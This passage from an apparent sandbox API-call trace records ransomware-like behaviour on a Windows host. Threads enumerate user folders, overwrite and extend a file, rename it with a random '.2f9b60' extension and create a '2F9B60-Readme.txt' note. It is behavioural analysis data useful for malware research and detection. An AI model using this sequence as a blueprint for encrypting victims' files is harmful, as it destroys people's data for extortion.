ftLastAccessTime.dwHighDateTime=0x1d5dd1d, ftLastWriteTime.dwLowDateTime=0x21758e40, ftLastWriteTime.dwHighDateTime=0x1d5dd1d, nFileSizeHigh=0x0, nFileSizeLow=0xbbcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="yQllGI5myff_5hDPICC.jpg", cAlternateFileName="YQLLGI~1.JPG")) returned 1 [0227.542] wcscmp (_String1="yQllGI5myff_5hDPICC.jpg", _String2=".") returned 1 [0227.542] wcscmp (_String1="yQllGI5myff_5hDPICC.jpg", _String2="..") returned 1 [0227.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe6) returned 0x1b799160 [0227.542] wcscpy (in: _Dest=0x1b799160, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\xh5K" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\xh5K") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\xh5K" [0227.542] wcscat (in: _Dest=0x1b799160, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\xh5K\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\xh5K\\" [0227.542] wcscat (in: _Dest=0x1b799160, _Source="yQllGI5myff_5hDPICC.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\xh5K\\yQllGI5myff_5hDPICC.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\xh5K\\yQllGI5myff_5hDPICC.jpg" [0227.543] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b799160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10f8 [0227.545] FindNextFileW (in: hFindFile=0x431f9ea0, lpFindFileData=0x2027e7b0 | out: lpFindFileData=0x2027e7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2db8bda0, ftCreationTime.dwHighDateTime=0x1d5d8c0, ftLastAccessTime.dwLowDateTime=0x21758e40, ftLastAccessTime.dwHighDateTime=0x1d5dd1d, ftLastWriteTime.dwLowDateTime=0x21758e40, ftLastWriteTime.dwHighDateTime=0x1d5dd1d, nFileSizeHigh=0x0, nFileSizeLow=0xbbcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="yQllGI5myff_5hDPICC.jpg", cAlternateFileName="YQLLGI~1.JPG")) returned 0 [0227.545] FindClose (in: hFindFile=0x431f9ea0 | out: hFindFile=0x431f9ea0) returned 1 [0227.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027e7b0) returned 1 [0227.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310af40) returned 1 [0227.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4312b1a0) returned 1 Thread: id = 3768 os_tid = 0x1658 [0227.553] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.settings.js")) returned 0x2020 [0227.553] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js", dwFileAttributes=0x20) returned 1 [0237.516] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.settings.js"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1034 [0237.517] GetFileSizeEx (in: hFile=0x1034, lpFileSize=0x2df5fd60 | out: lpFileSize=0x2df5fd60*=10) returned 1 [0237.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1490 [0237.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1f70 [0237.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0ad0 [0237.518] NtQuerySystemTime (in: CurrentTime=0x2df5fc20 | out: CurrentTime=0x2df5fc20*=132462178413238000) returned 0x0 [0237.518] RtlRandomEx (in: Seed=0x2df5fc10 | out: Seed=0x2df5fc10) returned 0x24b7d4be [0237.518] RtlRandomEx (in: Seed=0x2df5fc10 | out: Seed=0x2df5fc10) returned 0xbdf2663 [0237.518] RtlRandomEx (in: Seed=0x2df5fc10 | out: Seed=0x2df5fc10) returned 0x6ec50d08 [0237.518] RtlRandomEx (in: Seed=0x2df5fc10 | out: Seed=0x2df5fc10) returned 0x3cf6991f [0237.518] RtlRandomEx (in: Seed=0x2df5fc10 | out: Seed=0x2df5fc10) returned 0x7b51eeb9 [0237.518] RtlRandomEx (in: Seed=0x2df5fc10 | out: Seed=0x2df5fc10) returned 0x2c25f73d [0237.518] RtlRandomEx (in: Seed=0x2df5fc10 | out: Seed=0x2df5fc10) returned 0x28880c64 [0237.518] RtlRandomEx (in: Seed=0x2df5fc10 | out: Seed=0x2df5fc10) returned 0xd601b3d [0237.518] RtlRandomEx (in: Seed=0x2df5fc10 | out: Seed=0x2df5fc10) returned 0x466884e0 [0237.518] RtlRandomEx (in: Seed=0x2df5fc10 | out: Seed=0x2df5fc10) returned 0x6266fbf0 [0237.518] RtlRandomEx (in: Seed=0x2df5fc10 | out: Seed=0x2df5fc10) returned 0x2c130bef [0237.518] RtlRandomEx (in: Seed=0x2df5fc10 | out: Seed=0x2df5fc10) returned 0x2ec9c84 [0237.518] RtlRandomEx (in: Seed=0x2df5fc10 | out: Seed=0x2df5fc10) returned 0x2798c61e [0237.518] RtlRandomEx (in: Seed=0x2df5fc10 | out: Seed=0x2df5fc10) returned 0x396b92ec [0237.518] RtlRandomEx (in: Seed=0x2df5fc10 | out: Seed=0x2df5fc10) returned 0x14dc75c3 [0237.518] RtlRandomEx (in: Seed=0x2df5fc10 | out: Seed=0x2df5fc10) returned 0x6b130a62 [0237.518] RtlRandomEx (in: Seed=0x2df5fc10 | out: Seed=0x2df5fc10) returned 0x13090937 [0237.518] RtlRandomEx (in: Seed=0x2df5fc10 | out: Seed=0x2df5fc10) returned 0x13b276f4 [0237.518] RtlRandomEx (in: Seed=0x2df5fc10 | out: Seed=0x2df5fc10) returned 0x4fb92be1 [0237.518] RtlRandomEx (in: Seed=0x2df5fc10 | out: Seed=0x2df5fc10) returned 0x1b544ca1 [0237.518] RtlRandomEx (in: Seed=0x2df5fc10 | out: Seed=0x2df5fc10) returned 0xa7ff530 [0237.518] RtlRandomEx (in: Seed=0x2df5fc10 | out: Seed=0x2df5fc10) returned 0x70aef960 [0237.519] RtlRandomEx (in: Seed=0x2df5fc10 | out: Seed=0x2df5fc10) returned 0x146aad50 [0237.519] RtlRandomEx (in: Seed=0x2df5fc10 | out: Seed=0x2df5fc10) returned 0x30dce710 [0237.519] RtlRandomEx (in: Seed=0x2df5fc10 | out: Seed=0x2df5fc10) returned 0x2b632aa2 [0237.519] RtlRandomEx (in: Seed=0x2df5fc10 | out: Seed=0x2df5fc10) returned 0xa56e0b5 [0237.519] RtlRandomEx (in: Seed=0x2df5fc10 | out: Seed=0x2df5fc10) returned 0x87fb80b [0237.519] RtlRandomEx (in: Seed=0x2df5fc10 | out: Seed=0x2df5fc10) returned 0x4c9b82e2 [0237.519] RtlRandomEx (in: Seed=0x2df5fc10 | out: Seed=0x2df5fc10) returned 0x549dfeb6 [0237.519] RtlRandomEx (in: Seed=0x2df5fc10 | out: Seed=0x2df5fc10) returned 0x73070059 [0237.519] RtlRandomEx (in: Seed=0x2df5fc10 | out: Seed=0x2df5fc10) returned 0x4a933002 [0237.519] RtlRandomEx (in: Seed=0x2df5fc10 | out: Seed=0x2df5fc10) returned 0x469507e2 [0237.528] ReadFile (in: hFile=0x1034, lpBuffer=0x42966280, nNumberOfBytesToRead=0xa, lpNumberOfBytesRead=0x2df5fc10, lpOverlapped=0x0 | out: lpBuffer=0x42966280*, lpNumberOfBytesRead=0x2df5fc10*=0xa, lpOverlapped=0x0) returned 1 [0237.529] SetFilePointerEx (in: hFile=0x1034, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.529] WriteFile (in: hFile=0x1034, lpBuffer=0x4294fa20*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x2df5fc14, lpOverlapped=0x0 | out: lpBuffer=0x4294fa20*, lpNumberOfBytesWritten=0x2df5fc14*=0xa, lpOverlapped=0x0) returned 1 [0237.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0f50 [0237.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0f20 [0237.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0f20) returned 1 [0237.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4294fa20) returned 1 [0237.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42966280) returned 1 [0237.588] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869940) returned 1 [0237.588] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61d30) returned 1 [0237.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x431ad7a0 [0237.589] SetFilePointerEx (in: hFile=0x1034, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0237.589] WriteFile (in: hFile=0x1034, lpBuffer=0x42c154d0*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2df5fd30, lpOverlapped=0x0 | out: lpBuffer=0x42c154d0*, lpNumberOfBytesWritten=0x2df5fd30*=0x112, lpOverlapped=0x0) returned 1 [0237.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61d30 [0237.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869940 [0237.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3e30 [0237.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3e30) returned 1 [0237.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3e30 [0237.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0d70 [0237.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0d10 [0237.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0d10) returned 1 [0237.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869940) returned 1 [0237.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61d30) returned 1 [0237.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1ce61d30 [0237.604] sprintf (in: _Dest=0x1ce61d30, _Format="%c%c" | out: _Dest="8d") returned 2 [0237.604] sprintf (in: _Dest=0x1ce61d32, _Format="%c%c" | out: _Dest="1a") returned 2 [0237.604] sprintf (in: _Dest=0x1ce61d34, _Format="%c%c" | out: _Dest="bb") returned 2 [0237.604] sprintf (in: _Dest=0x1ce61d36, _Format="%c%c" | out: _Dest="78") returned 2 [0237.604] sprintf (in: _Dest=0x1ce61d38, _Format="%c%c" | out: _Dest="97") returned 2 [0237.604] sprintf (in: _Dest=0x1ce61d3a, _Format="%c%c" | out: _Dest="60") returned 2 [0237.604] sprintf (in: _Dest=0x1ce61d3c, _Format="%c%c" | out: _Dest="42") returned 2 [0237.604] sprintf (in: _Dest=0x1ce61d3e, _Format="%c%c" | out: _Dest="41") returned 2 [0237.604] sprintf (in: _Dest=0x1ce61d40, _Format="%c%c" | out: _Dest="0a") returned 2 [0237.604] sprintf (in: _Dest=0x1ce61d42, _Format="%c%c" | out: _Dest="14") returned 2 [0237.604] sprintf (in: _Dest=0x1ce61d44, _Format="%c%c" | out: _Dest="74") returned 2 [0237.604] sprintf (in: _Dest=0x1ce61d46, _Format="%c%c" | out: _Dest="a1") returned 2 [0237.604] sprintf (in: _Dest=0x1ce61d48, _Format="%c%c" | out: _Dest="ca") returned 2 [0237.604] sprintf (in: _Dest=0x1ce61d4a, _Format="%c%c" | out: _Dest="ab") returned 2 [0237.604] sprintf (in: _Dest=0x1ce61d4c, _Format="%c%c" | out: _Dest="ff") returned 2 [0237.604] sprintf (in: _Dest=0x1ce61d4e, _Format="%c%c" | out: _Dest="f7") returned 2 [0237.604] sprintf (in: _Dest=0x1ce61d50, _Format="%c%c" | out: _Dest="0e") returned 2 [0237.604] sprintf (in: _Dest=0x1ce61d52, _Format="%c%c" | out: _Dest="29") returned 2 [0237.605] sprintf (in: _Dest=0x1ce61d54, _Format="%c%c" | out: _Dest="4a") returned 2 [0237.605] sprintf (in: _Dest=0x1ce61d56, _Format="%c%c" | out: _Dest="f1") returned 2 [0237.605] sprintf (in: _Dest=0x1ce61d58, _Format="%c%c" | out: _Dest="e0") returned 2 [0237.605] sprintf (in: _Dest=0x1ce61d5a, _Format="%c%c" | out: _Dest="9e") returned 2 [0237.605] sprintf (in: _Dest=0x1ce61d5c, _Format="%c%c" | out: _Dest="1a") returned 2 [0237.605] sprintf (in: _Dest=0x1ce61d5e, _Format="%c%c" | out: _Dest="50") returned 2 [0237.605] sprintf (in: _Dest=0x1ce61d60, _Format="%c%c" | out: _Dest="5b") returned 2 [0237.605] sprintf (in: _Dest=0x1ce61d62, _Format="%c%c" | out: _Dest="da") returned 2 [0237.605] sprintf (in: _Dest=0x1ce61d64, _Format="%c%c" | out: _Dest="f8") returned 2 [0237.605] sprintf (in: _Dest=0x1ce61d66, _Format="%c%c" | out: _Dest="69") returned 2 [0237.605] sprintf (in: _Dest=0x1ce61d68, _Format="%c%c" | out: _Dest="7c") returned 2 [0237.605] sprintf (in: _Dest=0x1ce61d6a, _Format="%c%c" | out: _Dest="0e") returned 2 [0237.605] sprintf (in: _Dest=0x1ce61d6c, _Format="%c%c" | out: _Dest="02") returned 2 [0237.605] sprintf (in: _Dest=0x1ce61d6e, _Format="%c%c" | out: _Dest="69") returned 2 [0237.605] RtlInitAnsiString (in: DestinationString=0x2df5fda8, SourceString="8d1abb78976042410a1474a1caabfff70e294af1e09e1a505bdaf8697c0e0269" | out: DestinationString="8d1abb78976042410a1474a1caabfff70e294af1e09e1a505bdaf8697c0e0269") [0237.605] RtlAnsiStringToUnicodeString (in: DestinationString=0x2df5fd78, SourceString="8d1abb78976042410a1474a1caabfff70e294af1e09e1a505bdaf8697c0e0269", AllocateDestinationString=1 | out: DestinationString="8d1abb78976042410a1474a1caabfff70e294af1e09e1a505bdaf8697c0e0269") returned 0x0 [0237.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202af100 [0237.606] wcscat (in: _Dest=0x430d6f00, _Source="8d1abb7897604241" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\8d1abb7897604241") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\8d1abb7897604241" [0237.606] wcscat (in: _Dest=0x430d6f00, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\8d1abb7897604241.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\8d1abb7897604241.2f9b60" [0237.606] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\8d1abb7897604241.2f9b60", NtPathName=0x2df5fd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\8d1abb7897604241.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0237.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe8) returned 0x423abcd0 [0237.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423abcd0) returned 1 [0237.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43085f30) returned 1 [0237.613] NtQueryInformationFile (in: FileHandle=0x1034, IoStatusBlock=0x2df5fdb8, FileInformation=0x2df5fdc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2df5fdb8, FileInformation=0x2df5fdc8) returned 0x0 [0237.613] NtSetInformationFile (FileHandle=0x1034, IoStatusBlock=0x2df5fdb8, FileInformation=0x2df5fdc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430d6f00) returned 1 [0237.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af100) returned 1 [0237.624] FlushFileBuffers (hFile=0x1034) returned 1 [0238.231] CloseHandle (hObject=0x1034) returned 1 [0241.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x4205e660 [0241.642] wcscpy (in: _Dest=0x4205e660, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\" [0241.642] wcscat (in: _Dest=0x4205e660, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\2F9B60-Readme.txt" [0241.642] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\2f9b60-readme.txt")) returned 0xffffffff [0241.642] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13b4 [0244.038] WriteFile (hFile=0x13b4, lpBuffer=0x1b82f9a0, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2df5fc70, lpOverlapped=0x0) Thread: id = 3769 os_tid = 0x1660 [0227.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x43196fe0 [0227.556] wcscpy (in: _Dest=0x43196fe0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security" [0227.556] wcscat (in: _Dest=0x43196fe0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\" [0227.556] wcscat (in: _Dest=0x43196fe0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\*" [0227.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027e7b0 [0227.556] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\*", lpFindFileData=0x2027e7b0 | out: lpFindFileData=0x2027e7b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda28e240, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda8cdc00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda8cdc00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x431f9ea0 [0227.557] wcscmp (_String1=".", _String2=".") returned 0 [0227.557] FindNextFileW (in: hFindFile=0x431f9ea0, lpFindFileData=0x2027e7b0 | out: lpFindFileData=0x2027e7b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda28e240, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda8cdc00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda8cdc00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.557] wcscmp (_String1="..", _String2=".") returned 1 [0227.557] wcscmp (_String1="..", _String2="..") returned 0 [0227.557] FindNextFileW (in: hFindFile=0x431f9ea0, lpFindFileData=0x2027e7b0 | out: lpFindFileData=0x2027e7b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xda8cdc00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda8cdc00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda8f3d60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x1517, dwReserved0=0x0, dwReserved1=0x0, cFileName="addressbook.acrodata", cAlternateFileName="ADDRES~1.ACR")) returned 1 [0227.557] wcscmp (_String1="addressbook.acrodata", _String2=".") returned 1 [0227.557] wcscmp (_String1="addressbook.acrodata", _String2="..") returned 1 [0227.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x4310af40 [0227.558] wcscpy (in: _Dest=0x4310af40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security" [0227.558] wcscat (in: _Dest=0x4310af40, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\" [0227.558] wcscat (in: _Dest=0x4310af40, _Source="addressbook.acrodata" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\addressbook.acrodata") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\addressbook.acrodata" [0227.558] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4310af40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c10 [0227.558] FindNextFileW (in: hFindFile=0x431f9ea0, lpFindFileData=0x2027e7b0 | out: lpFindFileData=0x2027e7b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda2b43a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda5adf20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda5adf20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRLCache", cAlternateFileName="")) returned 1 [0227.558] wcscmp (_String1="CRLCache", _String2=".") returned 1 [0227.558] wcscmp (_String1="CRLCache", _String2="..") returned 1 [0227.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b863010 [0227.559] wcscpy (in: _Dest=0x1b863010, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security" [0227.559] wcscat (in: _Dest=0x1b863010, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\" [0227.559] wcscat (in: _Dest=0x1b863010, _Source="CRLCache" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache" [0227.559] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b863010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f98 [0227.560] FindNextFileW (in: hFindFile=0x431f9ea0, lpFindFileData=0x2027e7b0 | out: lpFindFileData=0x2027e7b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda2b43a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda5adf20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda5adf20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRLCache", cAlternateFileName="")) returned 0 [0227.560] FindClose (in: hFindFile=0x431f9ea0 | out: hFindFile=0x431f9ea0) returned 1 [0227.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027e7b0) returned 1 [0227.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43196fe0) returned 1 [0227.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508db0) returned 1 Thread: id = 3770 os_tid = 0x10b8 [0227.566] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html" (normalized: 